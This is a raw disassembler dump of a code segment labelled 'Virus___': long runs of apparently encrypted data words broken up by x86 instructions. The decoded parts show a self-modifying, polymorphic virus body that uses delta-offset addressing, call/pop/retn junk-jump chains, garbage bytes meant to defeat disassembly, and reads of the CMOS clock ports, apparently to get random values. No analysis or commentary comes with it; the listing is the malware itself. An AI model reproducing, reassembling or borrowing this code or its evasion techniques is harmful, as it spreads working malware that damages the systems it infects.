90F78B66h, 769CBF66h dd 1305B589h, 9589071Bh, 71B04EDh, 16850Fh, 0F600000h dd 87h, 81616000h, 0D359B0EEh, 0B5B5896Ah, 61071B2Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 13C35343h, 61B58B26h dd 0E8071B30h, 12h, 0B703ECB4h, 9D586F69h, 0FEA92DA6h dd 8E298C87h, 0B70F761Ah, 6A5EFEh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0C29A6DC3h, 8C0F63B9h dd 6, 2E919589h, 8B66071Bh, 57006AF8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 5941D68Bh dd 0BF0F82FBh, 68C0FFEh, 8B000000h, 1B2D35BDh, 108C0F07h dd 0E9000000h, 0Bh, 0BE70992Dh, 2F65C611h, 0F52E650Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8BC35646h dd 0FE866h, 22640000h, 531115D1h, 13EADD45h, 0D520BDFFh dd 88F0F54h, 89000000h, 1B1B6D9Dh, 5E616007h, 0FFF7AAE9h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0D9BD8BA0h, 0E9071B33h, 0Eh, 3058EC7Bh dd 0EDCB375Ch, 4646A186h, 0C18B13EDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 87C35242h, 1DCA3B67h, 7BB53DFh dd 61853135h, 0EB071B14h, 4, 10E900h, 2C140000h, 0BE5BBFA9h dd 0CAFDF6EAh, 3DDDD60Fh, 0BD8B2CB4h, 71B2E35h, 1255858Dh dd 8B66071Bh, 48950F0h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 6810F0Bh, 8B000000h, 1B1229B5h dd 6A006A07h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0AF12C356h, 205E8AA3h, 0F0EE4ACh dd 6AF7B7h, 0ED9D8B60h, 29071B28h, 1B185985h, 8DF96107h dd 1EFBF985h, 9E907h, 0A1180000h, 0C3F95BA0h, 83DACFF8h dd 669005C0h, 50BC56BFh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 6AF827h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 32C35141h, 6AC839D8h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 27B90E24h, 9FAE40A4h, 75BD8905h, 60071B26h dd 8D8BCA8Bh, 71B3505h, 0A995FF61h, 6A071B1Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 8C79C356h, 820977FBh, 0C2CC99Fh, 4820Fh, 0BE660000h dd 0B53369FAh, 71B0355h, 26A2EF81h, 9D8D258Ah, 71E979Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h dd 11F0D00Eh, 7D8A4060h, 0BD23D3FFh, 71B18B9h, 264D85FFh dd 0E960071Bh, 10h, 3C5073BAh, 0F1498DC3h, 0E8038F06h dd 65837B66h, 1B459D29h, 6661071Bh, 0E90284BFh, 8D3h, 0E8h dd 0ED815D00h, 71EFC03h, 0F98D01h, 0BD81071Bh, 71B2BFDh dd 7D0h, 111860Fh, 8D310000h, 71B1B39h, 8BF88B66h, 1B0A919Dh dd 619D8907h, 81071B34h, 100E3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 8332ECD5h dd 61958912h, 0B071B17h, 5C850FDBh, 66000000h, 74F1EE81h dd 0FA3FBD83h, 0F00071Eh, 3684h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 119A9250h dd 0D4843FEAh, 4EE9FCh, 0E9520000h, 6, 4055B70Fh, 0C75F3A29h dd 1EFA3F85h, 107h, 0E95E5700h, 30h, 0C7F1BF0Fh, 1EFA3F85h dd 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0BC7C4D7h, 0FCF78B66h, 0A919D8Dh dd 0B70F071Bh, 0FF2381F1h, 6AFFFFFEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0CCF2C351h dd 0EE9h, 265E9800h, 0B47E623Ah, 0CC9F5F17h, 66BE5DC8h dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0BAAF13C3h, 0DDBBB19Fh, 0BD31AB30h, 71B3579h dd 32FDB501h, 0C3F6071Bh, 9F840F04h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 3418C351h, 0CDB58B57h, 5F071B30h, 11E9h, 70C29B00h dd 0AD47D481h, 26468172h, 0F065D112h, 8D89A1DCh, 71B2809h dd 2A0995FFh, 8166071Bh, 507335C6h, 11890Fh, 0BE80000h dd 66000000h, 0F9955E39h, 827BB7B5h, 895F25A9h, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 57C56BC3h, 0E9F1B70Fh, 12h, 47429E17h, 6C3EF27Bh, 0AC983703h dd 0BC35E67Ch, 88E99CA1h, 3000004h, 1B14E9BDh, 8900B007h dd 1B09599Dh, 0E870E607h, 0Bh, 38897B94h, 0C92B5518h, 8B395BE0h dd 71E45FFBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 3CC35747h, 6A2F5A20h, 97A40C7Eh, 0C681665Ch, 0B60F9ECFh dd 499501D8h, 0BA071B04h, 6, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0B7C35646h, 0C9F86DD4h, 0C38B9187h dd 17B5BF66h, 0E904E8C1h, 12h, 0E2EB4B44h, 0C7B42ED4h dd 0B7F26A3Bh, 0A4954B5Eh, 0F76654FEh, 55006AE2h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0E4E60D79h, 29627E68h, 1B008585h, 0AD9D8907h, 2B071B34h dd 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0BFE44BFFh, 7E993h, 2070000h, 55E828EFh dd 0BF6650BBh, 8B9323F9h, 0F6060F3h, 8Eh, 4CA6BA00h, 8B61542Ah dd 1B09A18Dh, 0B5FF6107h, 71B2BFDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 80C35343h, 18A06806h, 0A29CB46Dh dd 0DE816628h, 8B665BC8h, 8995FFFAh, 0E8071B12h, 10h, 0F19B81A1h dd 0E9E007C0h, 5D8A204Ch, 9D7C59F8h, 5FFA8B66h, 6A00B0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 4732EC3h, 0FE8B660Eh, 3129BD89h, 70E6071Bh, 6F74D781h dd 71E469C9h, 3471BD8Bh, 613C071Bh, 2D9830Fh, 0BD8B0000h dd 71B358Dh, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0E317C350h, 94F408Bh dd 1B2F3DBDh, 6BA07h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 34E69DC3h, 0F13FBD4Ch dd 2719BD01h, 0EE8071Bh, 0B2000000h, 1525EACh, 77271214h dd 2B8E2895h, 9D895FA8h, 71B0A21h, 6AC38Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6657C3h dd 0EE9F1h, 3590000h, 0F975E2D2h, 83FA23D5h, 480491Ah dd 6A04E8C1h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0CC29C350h, 0FA92332h, 86h, 0E2F76600h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 1DC35343h dd 56924018h, 6AD82B5Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0B0DCC352h, 5C374A2h dd 0B589AC65h, 71B0351h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 8E98C7Ah, 5A000000h, 86DEDAA0h dd 2BCCFFDCh, 84880FD8h, 0E9000001h, 14h, 937E7B53h, 412C6C41h dd 6491CA57h, 0AE2369A3h, 4CE839B8h, 7B9h, 0EE900h, 7F0F0000h dd 0FF0B7F88h, 14721E65h, 0E1FEFB75h, 6A00C183h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 30E3C357h, 7CDDCFF1h, 89921221h, 1B35F195h, 0FD93B07h dd 11E86h, 0FDB58B00h, 66071B23h, 9E8D98Ch, 10000000h dd 71C8C08Ch, 2882C85h, 840Fh, 0F65E0000h, 840F04C1h, 0E1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 41C35747h dd 54A8B9F9h, 0B89BD8Bh, 0E951071Bh, 11h, 2388A375h, 629F15BFh dd 0AF48D731h, 0CE31DBD9h, 8D095E4Ah, 71B1C5Dh, 2A0995FFh dd 0BF0F071Bh, 81B58BF3h, 5B071B1Eh, 31B50B53h, 5E071B28h dd 0F18BC32Bh, 8343Dh, 76860F00h, 89000000h, 1B27E58Dh dd 349BBE07h, 7CE96812h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 42BFC350h dd 0C268685Eh, 0E9C368EFh, 12h, 0EB309D2Ah, 0B71D7251h dd 3EC5E0D3h, 0CE40045Dh, 11E8116Bh, 30000000h, 0D8895B90h dd 9F589156h, 3D48550Fh, 20241831h, 0DE960h, 0E8960000h dd 6BD9DF23h, 847BE11Ah, 617A2980h, 0FC08B5Eh, 0E81h, 9E900h dd 1FA40000h, 0BAD566AAh, 8BBF4E6Dh, 6AD88BC3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 4BCC350h, 9CA7F41h, 50D681FFh, 8149C59Ch, 0B808FDEEh dd 2185C703h, 33071B2Bh, 6A71B69Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F78C352h dd 688h, 14CE8100h, 8B0AED60h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0F34B2C8Eh dd 0B7604061h, 33C98167h, 61450538h, 96F3BE66h, 2BFDBD81h dd 7D0071Bh, 850F0000h, 2Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 93C35545h, 0ADB52966h, 0FF071B29h dd 1B2BFD85h, 559D0107h, 0FF071B29h, 1B2BFDB5h, 0BD8B6007h dd 71B1191h, 22F9BE61h, 95FF4734h, 71B1289h, 0F1B70F90h dd 32958D01h, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0FF3E57C3h, 8BEB1DFEh, 1B18F9B5h dd 8E907h, 0C4E70000h, 65A665D7h, 0BD8981CFh, 71B0D21h dd 3259B58Bh, 0AE9071Bh, 0E4000000h, 5F116971h, 5192D1E9h dd 56006ABBh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 940A6609h, 456B725Fh, 0D207E0BEh, 719D897Eh dd 8B071B1Ch, 919D89F0h, 89071B17h, 1B21899Dh, 25958907h dd 0E9071B21h, 0Ah, 80CC5743h, 1732B8A1h, 81664A1Dh, 6AA3DCE7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0A3D2C356h, 53006ABFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B1BF411h dd 1B1459BDh, 5870F07h, 66000000h, 7515DF81h, 60FBB70Fh dd 14259D29h, 0B966071Bh, 0CB81DF52h, 7AF71006h, 2AFAE2BFh dd 5DE96152h, 6AFFFFF7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9041C356h, 81207C2h dd 4B75E4E9h, 6E9h, 5D3A0300h, 8BAF6168h, 56006AC1h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 8FA095BFh, 4EBh, 8A0F0000h, 4, 0DE25BE66h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DBC35343h, 0A79A334h dd 3C799DBDh, 31058531h, 858D071Bh, 71B1255h, 800F6050h dd 2, 0B8665856h, 89612D08h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 2FE842C3h dd 0C8A27C08h, 8BD139C3h, 1B1EE9BDh, 59D2907h, 6A071B35h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 83711E42h, 9589A3DBh, 71B1775h, 8D89006Ah dd 71B2E3Dh, 694858Dh, 6A071Fh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 83F937C3h, 11E905C0h dd 1D000000h, 8B266121h, 73594925h, 29A52139h, 9B4C6A95h dd 0F905090h, 6AFFB7h, 1BA926BEh, 89006A55h, 1B1B4195h dd 0A995FF07h, 6A071B1Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0DA36C353h, 0C9E3DD14h dd 0FF830C8h, 68Ch, 2DBD0B00h, 8D071B21h, 1E979C9Dh, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 83402F90h, 3AA5E898h, 0B99D89EFh, 0FF071B1Ah, 52006AD3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0D02AEE6Ch, 0C18881DCh, 2AE1B50Bh, 85FF071Bh, 71B264Dh dd 2E19B58Bh, 0D2E9071Bh, 0E8000007h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 71F069Eh jmp loc_57B81B ; --------------------------------------------------------------------------- dd 0CE2F7EDFh db 0D8h, 0E5h, 0F2h ; --------------------------------------------------------------------------- loc_57B81B: ; CODE XREF: Virus___:0057B80Fj cmp dword ptr [ebp+71B2BFDh], 7D0h jbe loc_57B949 push eax add [ebp+71B0DFDh], eax pop esi mov ebx, [ebp+71B0A69h] mov edi, 3D9699D3h and ebx, 100h or ebx, ebx jnz loc_57B8DE push 0 push edx call sub_57B857 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B857 proc near ; CODE XREF: Virus___:0057B84Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_57B857 endp ; --------------------------------------------------------------------------- db 7Ch dd 95DE81BBh, 830C655Eh, 1F04F4BDh, 840F0007h, 2Eh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D4C35747h, 0BD8BE712h dd 71B0E71h, 6EE9h, 0EE816600h, 85C740F0h, 71F04F4h, 1 dd 59E9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0EA5CD5C3h, 26DDBD09h ; --------------------------------------------------------------------------- sbb eax, [edi] loc_57B8DE: ; CODE XREF: Virus___:0057B846j mov dword ptr [ebp+71F04F4h], 0 push 0 push eax call sub_57B8F3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B8F3 proc near ; CODE XREF: Virus___:0057B8EBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_57B8F3 endp ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- cli mov ebx, 6E2D3D8Ch dec ebx test [esi-75h], ebp mov ch, 0F5h xor al, 1Bh pop es lea ebx, [ebp+71B0A69h] jnb loc_57B93D pusha jns $+6 jmp loc_57B93C ; --------------------------------------------------------------------------- db 87h dd 0BDB1C93Ah, 41F020F2h, 3FF01EB3h, 5521C9CAh ; --------------------------------------------------------------------------- loc_57B93C: ; CODE XREF: Virus___:0057B926j popa loc_57B93D: ; CODE XREF: Virus___:0057B919j and dword ptr [ebx], 0FFFFFEFFh xor edi, [ebp+71B02D1h] loc_57B949: ; CODE XREF: Virus___:0057B825j mov bx, ds mov edi, 6BF3D868h test bl, 4 jz loc_57B9D1 jmp loc_57B96D ; --------------------------------------------------------------------------- inc dword ptr [ebx+71h] push cs jl short sub_57B9AD pop edx mov dword ptr [ecx+6Ah], 19363440h loc_57B96D: ; CODE XREF: Virus___:0057B95Aj call dword ptr [ebp+71B2A09h] push 0 push ecx call sub_57B97E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B97E proc near ; CODE XREF: Virus___:0057B976p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_57B97E endp ; --------------------------------------------------------------------------- mov al, 0DEh pushf loc_57B991: ; CODE XREF: Virus___:0057B9CFj nop mov esi, 1A4364ADh push eax call sub_57B9AD pop edi and eax, [eax+ebp*8-31847C2Fh] sub al, 8Bh fucomi st, st(3) xchg eax, edx shr dword ptr [ebp+0Dh], cl ; =============== S U B R O U T I N E ======================================= sub_57B9AD proc near ; CODE XREF: Virus___:0057B963j ; Virus___:0057B998p mov esi, 2149419Ch pop esi nop push 0 push edx call sub_57B9BF and [edx-3Dh], bl sub_57B9AD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57B9BF proc near ; CODE XREF: sub_57B9AD+Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_57B9BF endp ; --------------------------------------------------------------------------- loop loc_57B991 loc_57B9D1: ; CODE XREF: Virus___:0057B954j jmp loc_57BCDC ; --------------------------------------------------------------------------- jmp loc_57B9E4 ; --------------------------------------------------------------------------- db 51h dd 0D71F07F5h, 0D97FE656h ; --------------------------------------------------------------------------- loc_57B9E4: ; CODE XREF: Virus___:0057B9D6j mov edi, esi mov al, 0 mov edi, [ebp+71B0409h] out 70h, al ; CMOS Memory: ; used by real-time clock adc di, 6773h in al, 71h ; CMOS Memory mov di, 88FAh movzx ebx, al movzx esi, bx mov edx, 6 add [ebp+71B281Dh], edx mov eax, ebx call sub_57BA27 mov ebx, 582182C3h iret ; --------------------------------------------------------------------------- db 3Ah, 41h, 55h dd 973CE4AAh, 0DBB3EC84h db 73h, 23h, 38h ; =============== S U B R O U T I N E ======================================= sub_57BA27 proc near ; CODE XREF: Virus___:0057BA0Ep jle loc_57BA2F pusha popa loc_57BA2F: ; CODE XREF: sub_57BA27j pop edi shr eax, 4 push ecx ja loc_57BA40 jnz $+6 loc_57BA40: ; CODE XREF: sub_57BA27+Dj pop esi mul dx push 0 push ecx call sub_57BA4F and [ecx-3Dh], bl sub_57BA27 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57BA4F proc near ; CODE XREF: sub_57BA27+20p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_57BA4F endp ; --------------------------------------------------------------------------- adc dl, [esi+2Bh] nop sub ebx, eax jmp loc_57BA70 ; --------------------------------------------------------------------------- dw 7173h dd 0C9A193DEh ; --------------------------------------------------------------------------- loc_57BA70: ; CODE XREF: Virus___:0057BA65j push eax mov di, 0D468h mov [esp], ebx or esi, [ebp+71B2B45h] push dword ptr [ebp+71B2BFDh] jns loc_57BA93 jns loc_57BA93 movsx edi, cx loc_57BA93: ; CODE XREF: Virus___:0057BA84j ; Virus___:0057BA8Aj call dword ptr [ebp+71B1289h] push 0 push edi call sub_57BAA4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BAA4 proc near ; CODE XREF: Virus___:0057BA9Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_57BAA4 endp ; --------------------------------------------------------------------------- dd 6A00B075h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 2514C353h, 186FA97Ch, 0E6278A02h dd 0F18B6670h, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 9DBA65C3h, 53C4F3C0h, 613CF88Eh dd 1CE830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0DDF9ADC3h, 0BAD8B60Fh, 6, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3BC35141h, 858941CBh dd 71B2DB1h, 8D31C38Bh, 71B0541h, 6A04E8C1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0A594C352h, 0AB9FB2Eh, 6820FFDh, 8B000000h, 1B2E4DB5h dd 0E2F76607h, 6E9h, 613C0E00h, 2BE77C3Bh, 0ADBD0BD8h dd 51071B2Ch, 0C1B58B60h, 8B071B12h, 1B30259Dh, 585F6107h dd 355BD8Bh, 0D82B071Bh, 116880Fh, 0B9F80000h, 7, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0DFC35646h, 3170AD8Dh dd 1B0E058Dh, 0C18307h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 48C35747h, 3B0A94B7h, 0C1860FD9h, 0BF000000h dd 50CD6B4Dh, 60D98C66h, 7E8h, 3552EA00h, 6A576100h, 59C28B66h dd 0C1F661F9h, 95840F04h, 0F000000h, 68Dh, 0A9B58B00h dd 0FF071B00h, 1B2A0995h, 6A5B07h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 2B8C8FC3h, 57006AC3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0B3D0C713h, 3D1E4C7Fh, 834h, 36860Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 25F7E0C3h, 6C98F7FDh, 295BDF95h, 1B0A45BDh, 0EE907h dd 0CE810000h, 160843FAh, 9589C08Bh, 71B1291h ; --------------------------------------------------------------------------- loc_57BCDC: ; CODE XREF: Virus___:loc_57B9D1j mov eax, ebx mov ebx, eax push 0 push ecx call sub_57BCEB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BCEB proc near ; CODE XREF: Virus___:0057BCE3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_57BCEB endp ; --------------------------------------------------------------------------- db 0E5h ; --------------------------------------------------------------------------- fst dword ptr [ecx] das jmp loc_57BD11 ; --------------------------------------------------------------------------- dd 3EAA478Bh, 4AAB5AD4h, 9966E6DFh db 3Bh ; --------------------------------------------------------------------------- loc_57BD11: ; CODE XREF: Virus___:0057BCFFj push esi mov [ebp+71B02FDh], eax pop esi mov dword ptr [ebp+71B0A91h], 57CB511Fh push 0 push edx call sub_57BD2E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD2E proc near ; CODE XREF: Virus___:0057BD26p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_57BD2E endp ; --------------------------------------------------------------------------- stosb dec dword ptr [edx+6BEC7C92h] mov eax, eax push 0 push edx call sub_57BD52 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD52 proc near ; CODE XREF: Virus___:0057BD4Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_57BD52 endp ; --------------------------------------------------------------------------- dw 8375h dd 0F89DB5BFh, 0EE9h, 35F91500h, 1384DC65h, 886214D1h dd 81D0B5E8h, 1B2BFDBDh, 7D007h, 59850F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 4BA2C351h, 0BAEC1D59h, 0EE9E43Eh, 0A4000000h dd 0D7E55712h, 334BEC5Ch, 0B958DBBAh, 0FD85FF79h, 6A071B2Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 6320C356h, 2BFDB5FFh, 6A071Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 816CA8C3h dd 6ACC55F6h, 66DF812Bh, 0FF0EF885h, 1B128995h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E874F1E7h, 8BE879E1h, 1B3381B5h, 7E807h, 0F94B0000h dd 2D7EED53h, 0F5B58B71h, 5E071B26h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 89607A32h dd 1B2B258Dh, 0E3D28107h, 613A5B0Bh, 1C65B531h, 9D89071Bh dd 71B16A9h, 4798D89h, 0E681071Bh, 5EBE7408h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 77C35141h, 7332FC37h dd 0E92D2768h, 9, 0D321EA5h, 9F08C831h, 8CDF813Fh, 6A4454A0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 93E7C351h, 19880F78h, 0E9000000h, 14h, 5E98A9FFh dd 7E623A26h, 9F5F17B4h, 0BE5DC8CCh, 0D697CEF4h, 0AABF66h dd 1B15BD8Bh, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 90B05AC3h, 2DCF81DBh, 6A5E9480h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0E9A3C357h, 8, 957EA564h, 31514899h, 3521B58Bh dd 5E9071Bh, 8E000000h, 583DBA3h, 11E8h, 0FB9A9C00h, 7B281875h dd 2198B23Dh, 4DF3856h, 0B53366BAh, 71B0065h, 24518D89h dd 0E95E071Bh, 0FFFFF867h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 9DC35242h, 161FC099h, 2BC48BF7h, 0E8F0FFEh dd 0F000000h, 288h, 89F98B00h, 1B096195h, 6AC18B07h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0E005C351h, 11E9C7h, 0AE150000h, 0BD84161Ah, 7C1819A7h dd 3D6975D2h, 0EB69E628h, 4, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0DA1FD499h dd 33FDB523h, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 82716FC3h, 0A5FED7F7h, 858D6A70h dd 71B1255h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 43C35646h, 0B12AE9D6h, 39A23F58h, 0F88B6650h, 81240489h dd 502FF3F7h, 6A006A35h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 1E7DC353h, 0BBB5559Ah dd 6A006A91h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0CF6BC357h, 927C437h, 667780D2h dd 8D6A68BFh, 1F107385h, 9D8D2907h, 83071B32h, 858905C0h dd 71B1489h, 48D0F50h, 66000000h, 8996D0BFh, 6A2404h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 80DBC2C3h, 12E8h, 0FA5F8C00h, 550EC887h, 5263DE41h dd 28448C54h, 89C2A3E7h, 1B19058Dh, 0DE95E07h, 8D000000h dd 0D0720270h, 0DCA248F4h, 550627FBh, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0C04603C3h, 0D9B589C2h, 0F071B1Fh, 685h, 41858900h dd 6A071B05h, 0F6816600h, 95FF9F45h, 71B1EA9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1BC35747h, 0C47631F3h dd 0BD852934h, 29071B30h, 1B31099Dh, 9C9D8D07h, 8B071E97h dd 1B1AADBDh, 89D3FF07h, 1B13098Dh, 4D85FF07h, 89071B26h dd 1B2239BDh, 873E907h, 0E80000h, 5D000000h, 107DED81h dd 6A071Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 40CD09C3h, 31FE8B66h, 1B350185h, 0FDBD8107h dd 0D0071B2Bh, 0F000007h, 18C86h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0A38DCD04h dd 69F57B20h, 7D8D01BDh, 57071B28h, 4820Fh, 0BE660000h dd 8B5EEBB2h, 1B32D59Dh, 48E0F07h, 66000000h, 812084BFh dd 100E3h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0EDEC5E1Eh, 0DDDB0591h, 0DB0B4E90h dd 7F850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0F54A19C3h, 0D91B47A2h, 0BEC77D3Fh dd 19C0F9A4h, 0EA3BD83h, 0F00071Fh, 2784h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0C45685C3h, 4BE914h, 61600000h, 0EA385C7h, 1071Fh, 8D890000h dd 71B0C19h, 34E9h, 68C0F00h, 33000000h, 1B21F1BDh, 0A385C707h dd 71F0Eh, 